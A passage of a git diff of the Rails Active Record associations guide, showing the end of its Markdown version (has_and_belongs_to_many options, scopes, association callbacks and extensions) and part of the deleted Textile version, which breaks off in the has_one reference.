"Transmission housing"}) +``` + +##### `collection.create(attributes = {})` + +The `collection.create` method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through the join table will be created, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved. + +```ruby +@assembly = @part.assemblies.create( + {:assembly_name => "Transmission housing"}) +``` + +#### Options for `has_and_belongs_to_many` + +While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the `has_and_belongs_to_many` association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this assocation uses two such options: + +```ruby +class Parts < ActiveRecord::Base + has_and_belongs_to_many :assemblies, :uniq => true, + :read_only => true +end +``` + +The `has_and_belongs_to_many` association supports these options: + +* `:association_foreign_key` +* `:autosave` +* `:class_name` +* `:foreign_key` +* `:join_table` +* `:validate` + +##### `:association_foreign_key` + +By convention, Rails assumes that the column in the join table used to hold the foreign key pointing to the other model is the name of that model with the suffix `_id` added. The `:association_foreign_key` option lets you set the name of the foreign key directly: + +TIP: The `:foreign_key` and `:association_foreign_key` options are useful when setting up a many-to-many self-join. For example: + +```ruby +class User < ActiveRecord::Base + has_and_belongs_to_many :friends, :class_name => "User", + :foreign_key => "this_user_id", + :association_foreign_key => "other_user_id" +end +``` + +##### `:autosave` + +If you set the `:autosave` option to `true`, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object. + +##### `:class_name` + +If the name of the other model cannot be derived from the association name, you can use the `:class_name` option to supply the model name. For example, if a part has many assemblies, but the actual name of the model containing assemblies is `Gadget`, you'd set things up this way: + +```ruby +class Parts < ActiveRecord::Base + has_and_belongs_to_many :assemblies, :class_name => "Gadget" +end +``` + +##### `:foreign_key` + +By convention, Rails assumes that the column in the join table used to hold the foreign key pointing to this model is the name of this model with the suffix `_id` added. The `:foreign_key` option lets you set the name of the foreign key directly: + +```ruby +class User < ActiveRecord::Base + has_and_belongs_to_many :friends, :class_name => "User", + :foreign_key => "this_user_id", + :association_foreign_key => "other_user_id" +end +``` + +##### `:join_table` + +If the default name of the join table, based on lexical ordering, is not what you want, you can use the `:join_table` option to override the default. + +##### `:validate` + +If you set the `:validate` option to `false`, then associated objects will not be validated whenever you save this object. By default, this is `true`: associated objects will be validated when this object is saved. + +#### Scopes for `has_and_belongs_to_many` + +There may be times when you wish to customize the query used by `has_and_belongs_to_many`. Such customizations can be achieved via a scope block. For example: + +```ruby +class Parts < ActiveRecord::Base + has_and_belongs_to_many :assemblies, -> { where :active => true } +end +``` + +You can use any of the standard [querying methods](active_record_querying.html) inside the scope block. The following ones are discussed below: + +* `where` +* `extending` +* `group` +* `includes` +* `limit` +* `offset` +* `order` +* `readonly` +* `select` +* `uniq` + +##### `where` + +The `where` method lets you specify the conditions that the associated object must meet. + +```ruby +class Parts < ActiveRecord::Base + has_and_belongs_to_many :assemblies, + -> { where "factory = 'Seattle'" } +end +``` + +You can also set conditions via a hash: + +```ruby +class Parts < ActiveRecord::Base + has_and_belongs_to_many :assemblies, + -> { where :factory => 'Seattle' } +end +``` + +If you use a hash-style `where`, then record creation via this association will be automatically scoped using the hash. In this case, using `@parts.assemblies.create` or `@parts.assemblies.build` will create orders where the `factory` column has the value "Seattle". + +##### `extending` + +The `extending` method specifies a named module to extend the association proxy. Association extensions are discussed in detail <a href="#association-extensions">later in this guide</a>. + +##### `group` + +The `group` method supplies an attribute name to group the result set by, using a `GROUP BY` clause in the finder SQL. + +```ruby +class Parts < ActiveRecord::Base + has_and_belongs_to_many :assemblies, -> { group "factory" } +end +``` + +##### `includes` + +You can use the `includes` method to specify second-order associations that should be eager-loaded when this association is used. + +##### `limit` + +The `limit` method lets you restrict the total number of objects that will be fetched through an association. + +```ruby +class Parts < ActiveRecord::Base + has_and_belongs_to_many :assemblies, + -> { order("created_at DESC").limit(50) } +end +``` + +##### `offset` + +The `offset` method lets you specify the starting offset for fetching objects via an association. For example, if you set `offset(11)`, it will skip the first 11 records. + +##### `order` + +The `order` method dictates the order in which associated objects will be received (in the syntax used by an SQL `ORDER BY` clause). + +```ruby +class Parts < ActiveRecord::Base + has_and_belongs_to_many :assemblies, + -> { order "assembly_name ASC" } +end +``` + +##### `readonly` + +If you use the `readonly` method, then the associated objects will be read-only when retrieved via the association. + +##### `select` + +The `select` method lets you override the SQL `SELECT` clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns. + +##### `uniq` + +Use the `uniq` method to remove duplicates from the collection. + +#### When are Objects Saved? + +When you assign an object to a `has_and_belongs_to_many` association, that object is automatically saved (in order to update the join table). If you assign multiple objects in one statement, then they are all saved. + +If any of these saves fails due to validation errors, then the assignment statement returns `false` and the assignment itself is cancelled. + +If the parent object (the one declaring the `has_and_belongs_to_many` association) is unsaved (that is, `new_record?` returns `true`) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved. + +If you want to assign an object to a `has_and_belongs_to_many` association without saving the object, use the `collection.build` method. + +### Association Callbacks + +Normal callbacks hook into the life cycle of Active Record objects, allowing you to work with those objects at various points. For example, you can use a `:before_save` callback to cause something to happen just before an object is saved. + +Association callbacks are similar to normal callbacks, but they are triggered by events in the life cycle of a collection. There are four available association callbacks: + +* `before_add` +* `after_add` +* `before_remove` +* `after_remove` + +You define association callbacks by adding options to the association declaration. For example: + +```ruby +class Customer < ActiveRecord::Base + has_many :orders, :before_add => :check_credit_limit + + def check_credit_limit(order) + ... + end +end +``` + +Rails passes the object being added or removed to the callback. + +You can stack callbacks on a single event by passing them as an array: + +```ruby +class Customer < ActiveRecord::Base + has_many :orders, + :before_add => [:check_credit_limit, :calculate_shipping_charges] + + def check_credit_limit(order) + ... + end + + def calculate_shipping_charges(order) + ... + end +end +``` + +If a `before_add` callback throws an exception, the object does not get added to the collection. Similarly, if a `before_remove` callback throws an exception, the object does not get removed from the collection. + +### Association Extensions + +You're not limited to the functionality that Rails automatically builds into association proxy objects. You can also extend these objects through anonymous modules, adding new finders, creators, or other methods. For example: + +```ruby +class Customer < ActiveRecord::Base + has_many :orders do + def find_by_order_prefix(order_number) + find_by_region_id(order_number[0..2]) + end + end +end +``` + +If you have an extension that should be shared by many associations, you can use a named extension module. For example: + +```ruby +module FindRecentExtension + def find_recent + where("created_at > ?", 5.days.ago) + end +end + +class Customer < ActiveRecord::Base + has_many :orders, -> { extending FindRecentExtension } +end + +class Supplier < ActiveRecord::Base + has_many :deliveries, -> { extending FindRecentExtension } +end +``` + +Extensions can refer to the internals of the association proxy using these three attributes of the `proxy_association` accessor: + +* `proxy_association.owner` returns the object that the association is a part of. +* `proxy_association.reflection` returns the reflection object that describes the association. +* `proxy_association.target` returns the associated object for `belongs_to` or `has_one`, or the collection of associated objects for `has_many` or `has_and_belongs_to_many`. diff --git a/guides/source/association_basics.textile b/guides/source/association_basics.textile deleted file mode 100644 index 151752eee9..0000000000 --- a/guides/source/association_basics.textile +++ /dev/null @@ -1,1969 +0,0 @@ -h2. A Guide to Active Record Associations - -This guide covers the association features of Active Record. By referring to this guide, you will be able to: - -* Declare associations between Active Record models -* Understand the various types of Active Record associations -* Use the methods added to your models by creating associations - -endprologue. - -h3. Why Associations? - -Why do we need associations between models? Because they make common operations simpler and easier in your code. For example, consider a simple Rails application that includes a model for customers and a model for orders. Each customer can have many orders. Without associations, the model declarations would look like this: - -<ruby> -class Customer < ActiveRecord::Base -end - -class Order < ActiveRecord::Base -end -</ruby> - -Now, suppose we wanted to add a new order for an existing customer. We'd need to do something like this: - -<ruby> -@order = Order.create(:order_date => Time.now, - :customer_id => @customer.id) -</ruby> - -Or consider deleting a customer, and ensuring that all of its orders get deleted as well: - -<ruby> -@orders = Order.where(:customer_id => @customer.id) -@orders.each do |order| - order.destroy -end -@customer.destroy -</ruby> - -With Active Record associations, we can streamline these -- and other -- operations by declaratively telling Rails that there is a connection between the two models. Here's the revised code for setting up customers and orders: - -<ruby> -class Customer < ActiveRecord::Base - has_many :orders, :dependent => :destroy -end - -class Order < ActiveRecord::Base - belongs_to :customer -end -</ruby> - -With this change, creating a new order for a particular customer is easier: - -<ruby> -@order = @customer.orders.create(:order_date => Time.now) -</ruby> - -Deleting a customer and all of its orders is _much_ easier: - -<ruby> -@customer.destroy -</ruby> - -To learn more about the different types of associations, read the next section of this guide. That's followed by some tips and tricks for working with associations, and then by a complete reference to the methods and options for associations in Rails. - -h3. The Types of Associations - -In Rails, an _association_ is a connection between two Active Record models. Associations are implemented using macro-style calls, so that you can declaratively add features to your models. For example, by declaring that one model +belongs_to+ another, you instruct Rails to maintain Primary Key–Foreign Key information between instances of the two models, and you also get a number of utility methods added to your model. Rails supports six types of associations: - -* +belongs_to+ -* +has_one+ -* +has_many+ -* +has_many :through+ -* +has_one :through+ -* +has_and_belongs_to_many+ - -In the remainder of this guide, you'll learn how to declare and use the various forms of associations. But first, a quick introduction to the situations where each association type is appropriate. - -h4. The +belongs_to+ Association - -A +belongs_to+ association sets up a one-to-one connection with another model, such that each instance of the declaring model "belongs to" one instance of the other model. For example, if your application includes customers and orders, and each order can be assigned to exactly one customer, you'd declare the order model this way: - -<ruby> -class Order < ActiveRecord::Base - belongs_to :customer -end -</ruby> - -!images/belongs_to.png(belongs_to Association Diagram)! - -NOTE: +belongs_to+ associations _must_ use the singular term. If you used the pluralized form in the above example for the +customer+ association in the +Order+ model, you would be told that there was an "uninitialized constant Order::Customers". This is because Rails automatically infers the class name from the association name. If the association name is wrongly pluralized, then the inferred class will be wrongly pluralized too. - -h4. The +has_one+ Association - -A +has_one+ association also sets up a one-to-one connection with another model, but with somewhat different semantics (and consequences). This association indicates that each instance of a model contains or possesses one instance of another model. For example, if each supplier in your application has only one account, you'd declare the supplier model like this: - -<ruby> -class Supplier < ActiveRecord::Base - has_one :account -end -</ruby> - -!images/has_one.png(has_one Association Diagram)! - -h4. The +has_many+ Association - -A +has_many+ association indicates a one-to-many connection with another model. You'll often find this association on the "other side" of a +belongs_to+ association. This association indicates that each instance of the model has zero or more instances of another model. For example, in an application containing customers and orders, the customer model could be declared like this: - -<ruby> -class Customer < ActiveRecord::Base - has_many :orders -end -</ruby> - -NOTE: The name of the other model is pluralized when declaring a +has_many+ association. - -!images/has_many.png(has_many Association Diagram)! - -h4. The +has_many :through+ Association - -A +has_many :through+ association is often used to set up a many-to-many connection with another model. This association indicates that the declaring model can be matched with zero or more instances of another model by proceeding _through_ a third model. For example, consider a medical practice where patients make appointments to see physicians. The relevant association declarations could look like this: - -<ruby> -class Physician < ActiveRecord::Base - has_many :appointments - has_many :patients, :through => :appointments -end - -class Appointment < ActiveRecord::Base - belongs_to :physician - belongs_to :patient -end - -class Patient < ActiveRecord::Base - has_many :appointments - has_many :physicians, :through => :appointments -end -</ruby> - -!images/has_many_through.png(has_many :through Association Diagram)! - -The collection of join models can be managed via the API. For example, if you assign - -<ruby> -physician.patients = patients -</ruby> - -new join models are created for newly associated objects, and if some are gone their rows are deleted. - -WARNING: Automatic deletion of join models is direct, no destroy callbacks are triggered. - -The +has_many :through+ association is also useful for setting up "shortcuts" through nested +has_many+ associations. For example, if a document has many sections, and a section has many paragraphs, you may sometimes want to get a simple collection of all paragraphs in the document. You could set that up this way: - -<ruby> -class Document < ActiveRecord::Base - has_many :sections - has_many :paragraphs, :through => :sections -end - -class Section < ActiveRecord::Base - belongs_to :document - has_many :paragraphs -end - -class Paragraph < ActiveRecord::Base - belongs_to :section -end -</ruby> - -With +:through => :sections+ specified, Rails will now understand: - -<ruby> -@document.paragraphs -</ruby> - -h4. The +has_one :through+ Association - -A +has_one :through+ association sets up a one-to-one connection with another model. This association indicates that the declaring model can be matched with one instance of another model by proceeding _through_ a third model. For example, if each supplier has one account, and each account is associated with one account history, then the customer model could look like this: - -<ruby> -class Supplier < ActiveRecord::Base - has_one :account - has_one :account_history, :through => :account -end - -class Account < ActiveRecord::Base - belongs_to :supplier - has_one :account_history -end - -class AccountHistory < ActiveRecord::Base - belongs_to :account -end -</ruby> - -!images/has_one_through.png(has_one :through Association Diagram)! - -h4. The +has_and_belongs_to_many+ Association - -A +has_and_belongs_to_many+ association creates a direct many-to-many connection with another model, with no intervening model. For example, if your application includes assemblies and parts, with each assembly having many parts and each part appearing in many assemblies, you could declare the models this way: - -<ruby> -class Assembly < ActiveRecord::Base - has_and_belongs_to_many :parts -end - -class Part < ActiveRecord::Base - has_and_belongs_to_many :assemblies -end -</ruby> - -!images/habtm.png(has_and_belongs_to_many Association Diagram)! - -h4. Choosing Between +belongs_to+ and +has_one+ - -If you want to set up a one-to-one relationship between two models, you'll need to add +belongs_to+ to one, and +has_one+ to the other. How do you know which is which? - -The distinction is in where you place the foreign key (it goes on the table for the class declaring the +belongs_to+ association), but you should give some thought to the actual meaning of the data as well. The +has_one+ relationship says that one of something is yours - that is, that something points back to you. For example, it makes more sense to say that a supplier owns an account than that an account owns a supplier. This suggests that the correct relationships are like this: - -<ruby> -class Supplier < ActiveRecord::Base - has_one :account -end - -class Account < ActiveRecord::Base - belongs_to :supplier -end -</ruby> - -The corresponding migration might look like this: - -<ruby> -class CreateSuppliers < ActiveRecord::Migration - def change - create_table :suppliers do |t| - t.string :name - t.timestamps - end - - create_table :accounts do |t| - t.integer :supplier_id - t.string :account_number - t.timestamps - end - end -end -</ruby> - -NOTE: Using +t.integer :supplier_id+ makes the foreign key naming obvious and explicit. In current versions of Rails, you can abstract away this implementation detail by using +t.references :supplier+ instead. - -h4. Choosing Between +has_many :through+ and +has_and_belongs_to_many+ - -Rails offers two different ways to declare a many-to-many relationship between models. The simpler way is to use +has_and_belongs_to_many+, which allows you to make the association directly: - -<ruby> -class Assembly < ActiveRecord::Base - has_and_belongs_to_many :parts -end - -class Part < ActiveRecord::Base - has_and_belongs_to_many :assemblies -end -</ruby> - -The second way to declare a many-to-many relationship is to use +has_many :through+. This makes the association indirectly, through a join model: - -<ruby> -class Assembly < ActiveRecord::Base - has_many :manifests - has_many :parts, :through => :manifests -end - -class Manifest < ActiveRecord::Base - belongs_to :assembly - belongs_to :part -end - -class Part < ActiveRecord::Base - has_many :manifests - has_many :assemblies, :through => :manifests -end -</ruby> - -The simplest rule of thumb is that you should set up a +has_many :through+ relationship if you need to work with the relationship model as an independent entity. If you don't need to do anything with the relationship model, it may be simpler to set up a +has_and_belongs_to_many+ relationship (though you'll need to remember to create the joining table in the database). - -You should use +has_many :through+ if you need validations, callbacks, or extra attributes on the join model. - -h4. Polymorphic Associations - -A slightly more advanced twist on associations is the _polymorphic association_. With polymorphic associations, a model can belong to more than one other model, on a single association. For example, you might have a picture model that belongs to either an employee model or a product model. Here's how this could be declared: - -<ruby> -class Picture < ActiveRecord::Base - belongs_to :imageable, :polymorphic => true -end - -class Employee < ActiveRecord::Base - has_many :pictures, :as => :imageable -end - -class Product < ActiveRecord::Base - has_many :pictures, :as => :imageable -end -</ruby> - -You can think of a polymorphic +belongs_to+ declaration as setting up an interface that any other model can use. From an instance of the +Employee+ model, you can retrieve a collection of pictures: +@employee.pictures+. - -Similarly, you can retrieve +@product.pictures+. - -If you have an instance of the +Picture+ model, you can get to its parent via +@picture.imageable+. To make this work, you need to declare both a foreign key column and a type column in the model that declares the polymorphic interface: - -<ruby> -class CreatePictures < ActiveRecord::Migration - def change - create_table :pictures do |t| - t.string :name - t.integer :imageable_id - t.string :imageable_type - t.timestamps - end - end -end -</ruby> - -This migration can be simplified by using the +t.references+ form: - -<ruby> -class CreatePictures < ActiveRecord::Migration - def change - create_table :pictures do |t| - t.string :name - t.references :imageable, :polymorphic => true - t.timestamps - end - end -end -</ruby> - -!images/polymorphic.png(Polymorphic Association Diagram)! - -h4. Self Joins - -In designing a data model, you will sometimes find a model that should have a relation to itself. For example, you may want to store all employees in a single database model, but be able to trace relationships such as between manager and subordinates. This situation can be modeled with self-joining associations: - -<ruby> -class Employee < ActiveRecord::Base - has_many :subordinates, :class_name => "Employee", - :foreign_key => "manager_id" - belongs_to :manager, :class_name => "Employee" -end -</ruby> - -With this setup, you can retrieve +@employee.subordinates+ and +@employee.manager+. - -h3. Tips, Tricks, and Warnings - -Here are a few things you should know to make efficient use of Active Record associations in your Rails applications: - -* Controlling caching -* Avoiding name collisions -* Updating the schema -* Controlling association scope -* Bi-directional associations - -h4. Controlling Caching - -All of the association methods are built around caching, which keeps the result of the most recent query available for further operations. The cache is even shared across methods. For example: - -<ruby> -customer.orders # retrieves orders from the database -customer.orders.size # uses the cached copy of orders -customer.orders.empty? # uses the cached copy of orders -</ruby> - -But what if you want to reload the cache, because data might have been changed by some other part of the application? Just pass +true+ to the association call: - -<ruby> -customer.orders # retrieves orders from the database -customer.orders.size # uses the cached copy of orders -customer.orders(true).empty? # discards the cached copy of orders - # and goes back to the database -</ruby> - -h4. Avoiding Name Collisions - -You are not free to use just any name for your associations. Because creating an association adds a method with that name to the model, it is a bad idea to give an association a name that is already used for an instance method of +ActiveRecord::Base+. The association method would override the base method and break things. For instance, +attributes+ or +connection+ are bad names for associations. - -h4. Updating the Schema - -Associations are extremely useful, but they are not magic. You are responsible for maintaining your database schema to match your associations. In practice, this means two things, depending on what sort of associations you are creating. For +belongs_to+ associations you need to create foreign keys, and for +has_and_belongs_to_many+ associations you need to create the appropriate join table. - -h5. Creating Foreign Keys for +belongs_to+ Associations - -When you declare a +belongs_to+ association, you need to create foreign keys as appropriate. For example, consider this model: - -<ruby> -class Order < ActiveRecord::Base - belongs_to :customer -end -</ruby> - -This declaration needs to be backed up by the proper foreign key declaration on the orders table: - -<ruby> -class CreateOrders < ActiveRecord::Migration - def change - create_table :orders do |t| - t.datetime :order_date - t.string :order_number - t.integer :customer_id - end - end -end -</ruby> - -If you create an association some time after you build the underlying model, you need to remember to create an +add_column+ migration to provide the necessary foreign key. - -h5. Creating Join Tables for +has_and_belongs_to_many+ Associations - -If you create a +has_and_belongs_to_many+ association, you need to explicitly create the joining table. Unless the name of the join table is explicitly specified by using the +:join_table+ option, Active Record creates the name by using the lexical order of the class names. So a join between customer and order models will give the default join table name of "customers_orders" because "c" outranks "o" in lexical ordering. - -WARNING: The precedence between model names is calculated using the +<+ operator for +String+. This means that if the strings are of different lengths, and the strings are equal when compared up to the shortest length, then the longer string is considered of higher lexical precedence than the shorter one. For example, one would expect the tables "paper_boxes" and "papers" to generate a join table name of "papers_paper_boxes" because of the length of the name "paper_boxes", but it in fact generates a join table name of "paper_boxes_papers" (because the underscore '_' is lexicographically _less_ than 's' in common encodings). - -Whatever the name, you must manually generate the join table with an appropriate migration. For example, consider these associations: - -<ruby> -class Assembly < ActiveRecord::Base - has_and_belongs_to_many :parts -end - -class Part < ActiveRecord::Base - has_and_belongs_to_many :assemblies -end -</ruby> - -These need to be backed up by a migration to create the +assemblies_parts+ table. This table should be created without a primary key: - -<ruby> -class CreateAssemblyPartJoinTable < ActiveRecord::Migration - def change - create_table :assemblies_parts, :id => false do |t| - t.integer :assembly_id - t.integer :part_id - end - end -end -</ruby> - -We pass +:id => false+ to +create_table+ because that table does not represent a model. That's required for the association to work properly. If you observe any strange behavior in a +has_and_belongs_to_many+ association like mangled models IDs, or exceptions about conflicting IDs chances are you forgot that bit. - -h4. Controlling Association Scope - -By default, associations look for objects only within the current module's scope. This can be important when you declare Active Record models within a module. For example: - -<ruby> -module MyApplication - module Business - class Supplier < ActiveRecord::Base - has_one :account - end - - class Account < ActiveRecord::Base - belongs_to :supplier - end - end -end -</ruby> - -This will work fine, because both the +Supplier+ and the +Account+ class are defined within the same scope. But the following will _not_ work, because +Supplier+ and +Account+ are defined in different scopes: - -<ruby> -module MyApplication - module Business - class Supplier < ActiveRecord::Base - has_one :account - end - end - - module Billing - class Account < ActiveRecord::Base - belongs_to :supplier - end - end -end -</ruby> - -To associate a model with a model in a different namespace, you must specify the complete class name in your association declaration: - -<ruby> -module MyApplication - module Business - class Supplier < ActiveRecord::Base - has_one :account, - :class_name => "MyApplication::Billing::Account" - end - end - - module Billing - class Account < ActiveRecord::Base - belongs_to :supplier, - :class_name => "MyApplication::Business::Supplier" - end - end -end -</ruby> - -h4. Bi-directional Associations - -It's normal for associations to work in two directions, requiring declaration on two different models: - -<ruby> -class Customer < ActiveRecord::Base - has_many :orders -end - -class Order < ActiveRecord::Base - belongs_to :customer -end -</ruby> - -By default, Active Record doesn't know about the connection between these associations. This can lead to two copies of an object getting out of sync: - -<ruby> -c = Customer.first -o = c.orders.first -c.first_name == o.customer.first_name # => true -c.first_name = 'Manny' -c.first_name == o.customer.first_name # => false -</ruby> - -This happens because c and o.customer are two different in-memory representations of the same data, and neither one is automatically refreshed from changes to the other. Active Record provides the +:inverse_of+ option so that you can inform it of these relations: - -<ruby> -class Customer < ActiveRecord::Base - has_many :orders, :inverse_of => :customer -end - -class Order < ActiveRecord::Base - belongs_to :customer, :inverse_of => :orders -end -</ruby> - -With these changes, Active Record will only load one copy of the customer object, preventing inconsistencies and making your application more efficient: - -<ruby> -c = Customer.first -o = c.orders.first -c.first_name == o.customer.first_name # => true -c.first_name = 'Manny' -c.first_name == o.customer.first_name # => true -</ruby> - -There are a few limitations to +inverse_of+ support: - -* They do not work with <tt>:through</tt> associations. -* They do not work with <tt>:polymorphic</tt> associations. -* They do not work with <tt>:as</tt> associations. -* For +belongs_to+ associations, +has_many+ inverse associations are ignored. - -h3. Detailed Association Reference - -The following sections give the details of each type of association, including the methods that they add and the options that you can use when declaring an association. - -h4. +belongs_to+ Association Reference - -The +belongs_to+ association creates a one-to-one match with another model. In database terms, this association says that this class contains the foreign key. If the other class contains the foreign key, then you should use +has_one+ instead. - -h5. Methods Added by +belongs_to+ - -When you declare a +belongs_to+ association, the declaring class automatically gains four methods related to the association: - -* <tt><em>association</em>(force_reload = false)</tt> -* <tt><em>association</em>=(associate)</tt> -* <tt>build_<em>association</em>(attributes = {})</tt> -* <tt>create_<em>association</em>(attributes = {})</tt> - -In all of these methods, <tt><em>association</em></tt> is replaced with the symbol passed as the first argument to +belongs_to+. For example, given the declaration: - -<ruby> -class Order < ActiveRecord::Base - belongs_to :customer -end -</ruby> - -Each instance of the order model will have these methods: - -<ruby> -customer -customer= -build_customer -create_customer -</ruby> - -NOTE: When initializing a new +has_one+ or +belongs_to+ association you must use the +build_+ prefix to build the association, rather than the +association.build+ method that would be used for +has_many+ or +has_and_belongs_to_many+ associations. To create one, use the +create_+ prefix. - -h6(#belongs_to-association). <tt><em>association</em>(force_reload = false)</tt> - -The <tt><em>association</em></tt> method returns the associated object, if any. If no associated object is found, it returns +nil+. - -<ruby> -@customer = @order.customer -</ruby> - -If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass +true+ as the +force_reload+ argument. - -h6(#belongs_to-association_equal). <tt>_association_=(associate)</tt> - -The <tt><em>association</em>=</tt> method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from the associate object and setting this object's foreign key to the same value. - -<ruby> -@order.customer = @customer -</ruby> - -h6(#belongs_to-build_association). <tt>build_<em>association</em>(attributes = {})</tt> - -The <tt>build_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set, but the associated object will _not_ yet be saved. - -<ruby> -@customer = @order.build_customer(:customer_number => 123, - :customer_name => "John Doe") -</ruby> - -h6(#belongs_to-create_association). <tt>create_<em>association</em>(attributes = {})</tt> - -The <tt>create_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through this object's foreign key will be set, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved. - -<ruby> -@customer = @order.create_customer(:customer_number => 123, - :customer_name => "John Doe") -</ruby> - - -h5. Options for +belongs_to+ - -While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the +belongs_to+ association reference. Such customizations can easily be accomplished by passing options and scope blocks when you create the association. For example, this assocation uses two such options: - -<ruby> -class Order < ActiveRecord::Base - belongs_to :customer, :dependent => :destroy, - :counter_cache => true -end -</ruby> - -The +belongs_to+ association supports these options: - -* +:autosave+ -* +:class_name+ -* +:counter_cache+ -* +:dependent+ -* +:foreign_key+ -* +:inverse_of+ -* +:polymorphic+ -* +:touch+ -* +:validate+ - -h6(#belongs_to-autosave). +:autosave+ - -If you set the +:autosave+ option to +true+, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object. - -h6(#belongs_to-class_name). +:class_name+ - -If the name of the other model cannot be derived from the association name, you can use the +:class_name+ option to supply the model name. For example, if an order belongs to a customer, but the actual name of the model containing customers is +Patron+, you'd set things up this way: - -<ruby> -class Order < ActiveRecord::Base - belongs_to :customer, :class_name => "Patron" -end -</ruby> - -h6(#belongs_to-counter_cache). +:counter_cache+ - -The +:counter_cache+ option can be used to make finding the number of belonging objects more efficient. Consider these models: - -<ruby> -class Order < ActiveRecord::Base - belongs_to :customer -end -class Customer < ActiveRecord::Base - has_many :orders -end -</ruby> - -With these declarations, asking for the value of +@customer.orders.size+ requires making a call to the database to perform a +COUNT(*)+ query. To avoid this call, you can add a counter cache to the _belonging_ model: - -<ruby> -class Order < ActiveRecord::Base - belongs_to :customer, :counter_cache => true -end -class Customer < ActiveRecord::Base - has_many :orders -end -</ruby> - -With this declaration, Rails will keep the cache value up to date, and then return that value in response to the +size+ method. - -Although the +:counter_cache+ option is specified on the model that includes the +belongs_to+ declaration, the actual column must be added to the _associated_ model. In the case above, you would need to add a column named +orders_count+ to the +Customer+ model. You can override the default column name if you need to: - -<ruby> -class Order < ActiveRecord::Base - belongs_to :customer, :counter_cache => :count_of_orders -end -class Customer < ActiveRecord::Base - has_many :orders -end -</ruby> - -Counter cache columns are added to the containing model's list of read-only attributes through +attr_readonly+. - -h6(#belongs_to-dependent). +:dependent+ - -If you set the +:dependent+ option to +:destroy+, then deleting this object will call the +destroy+ method on the associated object to delete that object. If you set the +:dependent+ option to +:delete+, then deleting this object will delete the associated object _without_ calling its +destroy+ method. - -WARNING: You should not specify this option on a +belongs_to+ association that is connected with a +has_many+ association on the other class. Doing so can lead to orphaned records in your database. - -h6(#belongs_to-foreign_key). +:foreign_key+ - -By convention, Rails assumes that the column used to hold the foreign key on this model is the name of the association with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly: - -<ruby> -class Order < ActiveRecord::Base - belongs_to :customer, :class_name => "Patron", - :foreign_key => "patron_id" -end -</ruby> - -TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations. - -h6(#belongs_to-inverse_of). +:inverse_of+ - -The +:inverse_of+ option specifies the name of the +has_many+ or +has_one+ association that is the inverse of this association. Does not work in combination with the +:polymorphic+ options. - -<ruby> -class Customer < ActiveRecord::Base - has_many :orders, :inverse_of => :customer -end - -class Order < ActiveRecord::Base - belongs_to :customer, :inverse_of => :orders -end -</ruby> - -h6(#belongs_to-polymorphic). +:polymorphic+ - -Passing +true+ to the +:polymorphic+ option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail <a href="#polymorphic-associations">earlier in this guide</a>. - -h6(#belongs_to-touch). +:touch+ - -If you set the +:touch+ option to +:true+, then the +updated_at+ or +updated_on+ timestamp on the associated object will be set to the current time whenever this object is saved or destroyed: - -<ruby> -class Order < ActiveRecord::Base - belongs_to :customer, :touch => true -end - -class Customer < ActiveRecord::Base - has_many :orders -end -</ruby> - -In this case, saving or destroying an order will update the timestamp on the associated customer. You can also specify a particular timestamp attribute to update: - -<ruby> -class Order < ActiveRecord::Base - belongs_to :customer, :touch => :orders_updated_at -end -</ruby> - -h6(#belongs_to-validate). +:validate+ - -If you set the +:validate+ option to +true+, then associated objects will be validated whenever you save this object. By default, this is +false+: associated objects will not be validated when this object is saved. - -h5(#belongs_to-scopes_for_belongs_to). Scopes for +belongs_to+ - -There may be times when you wish to customize the query used by +belongs_to+. Such customizations can be achieved via a scope block. For example: - -<ruby> -class Order < ActiveRecord::Base - belongs_to :customer, -> { where :active => true }, - :dependent => :destroy -end -</ruby> - -You can use any of the standard "querying methods":active_record_querying.html inside the scope block. The following ones are discussed below: - -* +where+ -* +includes+ -* +readonly+ -* +select+ - -h6(#belongs_to-where). +where+ - -The +where+ method lets you specify the conditions that the associated object must meet. - -<ruby> -class Order < ActiveRecord::Base - belongs_to :customer, -> { where :active => true } -end -</ruby> - -h6(#belongs_to-includes). +includes+ - -You can use the +includes+ method let you specify second-order associations that should be eager-loaded when this association is used. For example, consider these models: - -<ruby> -class LineItem < ActiveRecord::Base - belongs_to :order -end - -class Order < ActiveRecord::Base - belongs_to :customer - has_many :line_items -end - -class Customer < ActiveRecord::Base - has_many :orders -end -</ruby> - -If you frequently retrieve customers directly from line items (+@line_item.order.customer+), then you can make your code somewhat more efficient by including customers in the association from line items to orders: - -<ruby> -class LineItem < ActiveRecord::Base - belongs_to :order, -> { includes :customer } -end - -class Order < ActiveRecord::Base - belongs_to :customer - has_many :line_items -end - -class Customer < ActiveRecord::Base - has_many :orders -end -</ruby> - -NOTE: There's no need to use +includes+ for immediate associations - that is, if you have +Order belongs_to :customer+, then the customer is eager-loaded automatically when it's needed. - -h6(#belongs_to-readonly). +readonly+ - -If you use +readonly+, then the associated object will be read-only when retrieved via the association. - -h6(#belongs_to-select). +select+ - -The +select+ method lets you override the SQL +SELECT+ clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns. - -TIP: If you use the +select+ method on a +belongs_to+ association, you should also set the +:foreign_key+ option to guarantee the correct results. - -h5(#belongs_to-do_any_associated_objects_exist). Do Any Associated Objects Exist? - -You can see if any associated objects exist by using the <tt><em>association</em>.nil?</tt> method: - -<ruby> -if @order.customer.nil? - @msg = "No customer found for this order" -end -</ruby> - -h5(#belongs_to-when_are_objects_saved). When are Objects Saved? - -Assigning an object to a +belongs_to+ association does _not_ automatically save the object. It does not save the associated object either. - -h4. +has_one+ Association Reference - -The +has_one+ association creates a one-to-one match with another model. In database terms, this association says that the other class contains the foreign key. If this class contains 